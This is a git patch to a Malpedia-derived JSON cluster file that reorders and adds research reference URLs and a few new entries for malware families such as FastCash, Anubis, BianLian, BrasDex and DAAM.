From 21266365daf96b3cdbdc870ddb90af6fb449821a Mon Sep 17 00:00:00 2001 From: marjatech <72734273+marjatech@users.noreply.github.com> Date: Thu, 11 May 2023 14:34:41 +0200 Subject: [PATCH] update malpedia --- clusters/malpedia.json | 28590 +++++++++++++++++++++------------------ 1 file changed, 15602 insertions(+), 12988 deletions(-) diff --git a/clusters/malpedia.json b/clusters/malpedia.json index b9b0fd8..dc625e6 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -20,35 +20,26 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://github.com/fboldewin/FastCashMalwareDissected/", - "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A", - "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.youtube.com/watch?v=zGvQPtejX9w", - "https://www.us-cert.gov/ncas/alerts/TA18-275A", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", - "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", - "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf", - "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.us-cert.gov/ncas/alerts/TA18-275A", + "https://www.youtube.com/watch?v=zGvQPtejX9w", + "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", + "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", + "https://github.com/fboldewin/FastCashMalwareDissected/", + "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", + "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", - "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware" + "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "e306fe62-c708-11e8-89f2-073e396e5403", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e8a04177-6a91-46a6-9f63-6a9fac4dfa02", "value": "FastCash" }, @@ -70,12 +61,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot", - "https://twitter.com/_icebre4ker_/status/1460527428544176128", "https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/", + "https://twitter.com/_icebre4ker_/status/1460527428544176128", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://hothardware.com/news/escobar-banking-trojan-targets-mfa-codes", "https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/", - "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" + "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/" ], "synonyms": [ "Escobar" @@ -91,8 +82,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.abstract_emu", "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign" + "https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" ], "synonyms": [], "type": [] @@ -106,8 +97,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.actionspy", "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/", - "https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/", - "https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html" + "https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html", + "https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/" ], "synonyms": [ "AxeSpy" @@ -149,10 +140,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ahmyth", + "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", "https://securelist.com/transparent-tribe-part-2/98233/", "https://www.secrss.com/articles/24995", - "https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/", - "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset" + "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", + "https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/" ], "synonyms": [], "type": [] @@ -166,14 +158,17 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.alien", "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", "https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", + "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", "https://drive.google.com/file/d/1qd7Nqjhe2vyGZ5bGm6gVw0mM1D6YDolu/view?usp=sharing", + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", "https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/", - "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf" + "https://twitter.com/_CPResearch_/status/1603375823448317953", + "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace", + "https://muha2xmad.github.io/malware-analysis/alien/" ], "synonyms": [ "AlienBot" @@ -205,22 +200,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anatsa", - "https://twitter.com/_icebre4ker_/status/1416409813467156482", "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://gbhackers.com/teabot-banking-trojan/", - "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", "https://twitter.com/ThreatFabric/status/1394958795508523008", - "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", - "https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe", + "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", - "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf", + "https://twitter.com/_icebre4ker_/status/1416409813467156482", + "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", + "https://gbhackers.com/teabot-banking-trojan/", + "https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe", "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", - "https://labs.k7computing.com/?p=22407", - "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/", "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html", + "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf", "https://www.cleafy.com/documents/teabot", + "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", "https://www.buguroo.com/hubfs/website/pdf/reports/buguroo-malware-report-Toddler_EN.pdf", - "https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/" + "https://labs.k7computing.com/?p=22407" ], "synonyms": [ "ReBot", @@ -237,15 +232,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat", - "https://www.stratosphereips.org/blog/2021/3/29/dissecting-a-rat-analysis-of-the-androrat", "https://github.com/DesignativeDave/androrat", "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", - "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://www.stratosphereips.org/blog/2021/3/29/dissecting-a-rat-analysis-of-the-androrat", "https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html", - "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", - "https://www.kaspersky.com/blog/mobile-malware-part-4/24290/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-command-line-androrat", + "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://www.kaspersky.com/blog/mobile-malware-part-4/24290/", "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg" ], "synonyms": [], @@ -259,34 +254,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubis", - "http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html", - "https://www.youtube.com/watch?v=U0UsfO-0uJM", - "https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html", - "https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/", - "https://muha2xmad.github.io/malware-analysis/anubis/", - "https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/", - "http://blog.koodous.com/2017/05/bankbot-on-google-play.html", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://pentest.blog/n-ways-to-unpack-mobile-malware/", - "https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html", - "https://assets.virustotal.com/reports/2021trends.pdf", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", - "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", - "https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/", - "https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", "https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/", - "http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html", + "https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html", + "https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/", "https://0x1c3n.tech/anubis-android-malware-analysis", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://securelist.com/mobile-malware-evolution-2019/96280/", + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/", + "https://pentest.blog/n-ways-to-unpack-mobile-malware/", "https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/", + "http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html", "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/", + "http://blog.koodous.com/2017/05/bankbot-on-google-play.html", + "https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html", + "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://intel-honey.medium.com/reversing-anubis-malware-93f28d154bbb", + "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ ", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/", + "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", + "https://muha2xmad.github.io/malware-analysis/anubis/", + "http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", "https://community.riskiq.com/article/85b3db8c", "https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html", - "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ ", - "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", - "https://intel-honey.medium.com/reversing-anubis-malware-93f28d154bbb" + "https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/", + "https://www.youtube.com/watch?v=U0UsfO-0uJM", + "https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis", + "https://assets.virustotal.com/reports/2021trends.pdf" ], "synonyms": [ "BankBot", @@ -303,8 +298,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy", - "http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/", - "https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf" + "https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf", + "http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/" ], "synonyms": [], "type": [] @@ -317,8 +312,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.asacub", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://securelist.com/the-rise-of-mobile-banker-asacub/87591/" + "https://securelist.com/the-rise-of-mobile-banker-asacub/87591/", + "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [], "type": [] @@ -385,12 +380,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut", - "https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw", - "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/", "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", + "https://blog.cyble.com/2022/06/29/bahamut-android-malware-returns-with-new-spying-capabilities/", + "https://www.welivesecurity.com/2022/11/23/bahamut-cybermercenary-group-targets-android-users-fake-vpn-apps/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", - "https://blog.cyble.com/2022/06/29/bahamut-android-malware-returns-with-new-spying-capabilities/" + "https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw" ], "synonyms": [], "type": [] @@ -404,8 +400,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.basbanke", "https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/", - "https://twitter.com/LukasStefanko/status/1280243673100402690", - "https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/#.YHTDZS2tEUE" + "https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/#.YHTDZS2tEUE", + "https://twitter.com/LukasStefanko/status/1280243673100402690" ], "synonyms": [], "type": [] @@ -418,13 +414,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian", + "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html", + "https://www.youtube.com/watch?v=DPFcvSy4OZk", "https://cryptax.medium.com/multidex-trick-to-unpack-android-bianlian-ed52eb791e56", "https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html", - "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html", - "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", - "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726", - "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221" + "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", + "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", + "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726" ], "synonyms": [ "Hydra" @@ -432,19 +429,32 @@ "type": [] }, "uuid": "1faaa5c5-ab4e-4101-b2d9-0e12207d70fc", - "value": "BianLian" + "value": "BianLian (Android)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brasdex", + "https://www.threatfabric.com/blogs/brasdex-a-new-brazilian-ats-malware.html" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dc5408e9-e9e8-44fd-ac5c-231483d0ebe3", + "value": "BrasDex" }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brata", - 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"https://community.riskiq.com/article/85b3db8c" + "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", + "https://community.riskiq.com/article/85b3db8c", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/12075509/EN_The-State-of-Stalkerware-2021.pdf", + "https://twitter.com/AndroidCerberus", + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace" ], "synonyms": [], "type": [] @@ -571,9 +585,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger", - "http://blog.checkpoint.com/2017/01/24/charger-malware/", + "http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html", "https://www.welivesecurity.com/wp-content/uploads/2019/02/ESET_Android_Banking_Malware.pdf", - "http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html" + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-january-14-29-2017", + "http://blog.checkpoint.com/2017/01/24/charger-malware/" ], "synonyms": [], "type": [] @@ -586,8 +601,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chinotto", - 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"https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1" + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", + "https://www.theguardian.com/world/2021/jul/18/revealed-leak-uncovers-global-abuse-of-cyber-surveillance-weapon-nso-group-pegasus", + "https://forbiddenstories.org/pegasus-the-new-global-weapon-for-silencing-journalists/", + "https://thewire.in/rights/sar-geelani-pegasus-spyware-phone-messages", + "https://twitter.com/alexanderjaeger/status/1417447732030189569", + "https://www.vice.com/en/article/xgx5bw/amazon-aws-shuts-down-nso-group-infrastructure", + "https://www.washingtonpost.com/technology/2021/07/18/reactions-pegasus-project-nso/", + "https://www.washingtonpost.com/investigations/2021/07/18/takeaways-nso-pegasus-project/", + "https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/", + "https://citizenlab.ca/2021/12/pegasus-vs-predator-dissidents-doubly-infected-iphone-reveals-cytrox-mercenary-spyware/", + "https://www.amnesty.org/en/latest/news/2021/07/the-pegasus-project/", + "https://www.reuters.com/technology/how-saudi-womans-iphone-revealed-hacking-around-world-2022-02-17/", + "https://www.theguardian.com/news/2021/jul/18/revealed-murdered-journalist-number-selected-mexico-nso-client-cecilio-pineda-birto", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://arkadiyt.com/2021/07/25/scanning-your-iphone-for-nso-group-pegasus-malware/", + "https://thewire.in/government/indian-army-bsf-raw-pegasus-spyware-threat", + "https://twitter.com/billmarczak/status/1416801439402262529", + "https://www.washingtonpost.com/technology/2021/07/19/apple-iphone-nso/", + "https://citizenlab.ca/2020/01/stopping-the-press-new-york-times-journalist-targeted-by-saudi-linked-pegasus-spyware-operator/", + "https://media.ccc.de/v/33c3-7901-pegasus_internals", + "https://threatpost.com/nso-pegasus-spyware-bans-apple-accountability/167965/", + "https://citizenlab.ca/2021/08/bahrain-hacks-activists-with-nso-group-zero-click-iphone-exploits/", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-3/", + "https://objective-see.com/blog/blog_0x67.html", + "https://www.theguardian.com/world/2021/jul/18/nso-spyware-used-to-target-family-of-jamal-khashoggi-leaked-data-shows-saudis-pegasus", + "https://zetter.substack.com/p/pegasus-spyware-how-it-works-and", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-1", + "https://www.washingtonpost.com/investigations/interactive/2021/nso-spyware-pegasus-cellphones/", + "https://irpimedia.irpi.eu/sorveglianze-cy4gate/", + "https://www.trendmicro.com/en_us/research/21/i/analyzing-pegasus-spywares-zero-click-iphone-exploit-forcedentry.html", + "https://cybergeeks.tech/a-technical-analysis-of-pegasus-for-android-part-2/", + "https://thewire.in/government/project-pegasus-journalists-ministers-activists-phones-spying", + "https://blog.zecops.com/research/the-recent-ios-0-click-cve-2021-30860-sounds-familiar-an-unreleased-write-up-one-year-later/", + "https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-appendix-d/", + "https://citizenlab.ca/2022/04/peace-through-pegasus-jordanian-human-rights-defenders-and-journalists-hacked-with-pegasus-spyware/", + "https://forbiddenstories.org/the-pegasus-project-a-worldwide-collaboration-to-counter-a-global-crime/", + "https://lifars.com/2022/01/forensics-analysis-of-the-nso-groups-pegasus-spyware/", + "https://thewire.in/media/pegasus-project-spyware-indian-journalists", + "https://android-developers.googleblog.com/2017/04/an-investigation-of-chrysaor-malware-on.html", + "https://forbiddenstories.org/about-the-pegasus-project/", + "https://www.theguardian.com/news/2021/jul/18/viktor-orban-using-nso-spyware-in-assault-on-media-data-suggests", + "https://github.com/AmnestyTech/investigations/tree/master/2021-07-18_nso", + "https://www.bleepingcomputer.com/news/security/iphones-running-latest-ios-hacked-to-deploy-nso-group-spyware/", + "https://citizenlab.ca/2021/07/amnesty-peer-review/", + "https://citizenlab.ca/2018/09/hide-and-seek-tracking-nso-groups-pegasus-spyware-to-operations-in-45-countries/", + "https://citizenlab.ca/2021/11/palestinian-human-rights-defenders-hacked-nso-groups-pegasus-spyware/", + "https://www.theguardian.com/news/series/pegasus-project", + "https://www.washingtonpost.com/world/2021/07/19/india-nso-pegasus/", + "https://www.cybertrends.it/pegasus-lo-spyware-per-smartphone-come-funziona-e-come-ci-si-puo-proteggere/", + "https://twitter.com/HackSysTeam/status/1418223814387765258?s=20" ], "synonyms": [ "JigglyPuff", @@ -668,15 +685,6 @@ ], "type": [] }, - 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"https://twitter.com/sekoia_io/status/1554086468104196096" + "https://twitter.com/sekoia_io/status/1554086468104196096", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" ], "synonyms": [], "type": [] @@ -831,6 +840,19 @@ "uuid": "bb1821f9-eace-4e63-b55d-fc7821a6e5f1", "value": "CyberAzov" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.daam", + "https://blog.cyble.com/2023/04/20/daam-android-botnet-being-distributed-through-trojanized-applications/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "37a3b62e-99da-47d7-81fb-78f745427b16", + "value": "DAAM" + }, { "description": "", "meta": { @@ -893,9 +915,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dmsspy", + "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-poisoned-news-hong-kong-users-targeted-with-mobile-malware-via-local-news-links/", - "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf", - "https://securelist.com/ios-exploit-chain-deploys-lightspy-malware/96407/" + "https://documents.trendmicro.com/assets/Tech-Brief-Operation-Poisoned-News-Hong-Kong-Users-Targeted-with-Mobile-Malware-via-Local-News-Links.pdf" ], "synonyms": [], "type": [] @@ -986,8 +1008,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.dvmap", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/" + "https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/", + "https://securelist.com/mobile-malware-evolution-2019/96280/" ], "synonyms": [], "type": [] @@ -1012,14 +1034,16 @@ "value": "Elibomi" }, { - "description": "", + "description": "According to Intel471, ERMAC, an Android banking trojan enables bad actors to determine when certain apps are launched and then overwrites the screen display to steal the user's credentials", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ermac", "https://twitter.com/ESETresearch/status/1445618031464357888", "https://blog.cyble.com/2022/05/25/ermac-back-in-action/", + "https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html", + "https://intel471.com/blog/rmac-2-0-perfecting-the-art-of-account-takeover", "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", - "https://intel471.com/blog/rmac-2-0-perfecting-the-art-of-account-takeover" + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace" ], "synonyms": [], "type": [] @@ -1032,9 +1056,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.eventbot", - "https://www.youtube.com/watch?v=qqwOrLR2rgU", "https://twitter.com/ThreatFabric/status/1240664876558823424", - "https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born" + "https://www.cybereason.com/blog/eventbot-a-new-mobile-banking-trojan-is-born", + "https://www.youtube.com/watch?v=qqwOrLR2rgU" ], "synonyms": [], "type": [] @@ -1047,13 +1071,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.exobot", - "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/", + "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", + "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", "https://www.bleepingcomputer.com/news/security/source-code-for-exobot-android-banking-trojan-leaked-online/", + "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/", "https://www.bleepingcomputer.com/news/security/exobot-author-calls-it-quits-and-sells-off-banking-trojan-source-code/", "https://blog.cyble.com/2022/03/24/coper-banking-trojan/", - "https://threatfabric.com/blogs/octo-new-odf-banking-trojan.html", - "https://www.bleepingcomputer.com/news/security/new-android-banking-malware-remotely-takes-control-of-your-device/", - "https://www.bleepingcomputer.com/news/security/new-exo-android-trojan-sold-on-hacking-forums-dark-web/" + "https://securityintelligence.com/ibm-x-force-delves-into-exobots-leaked-source-code/" ], "synonyms": [], 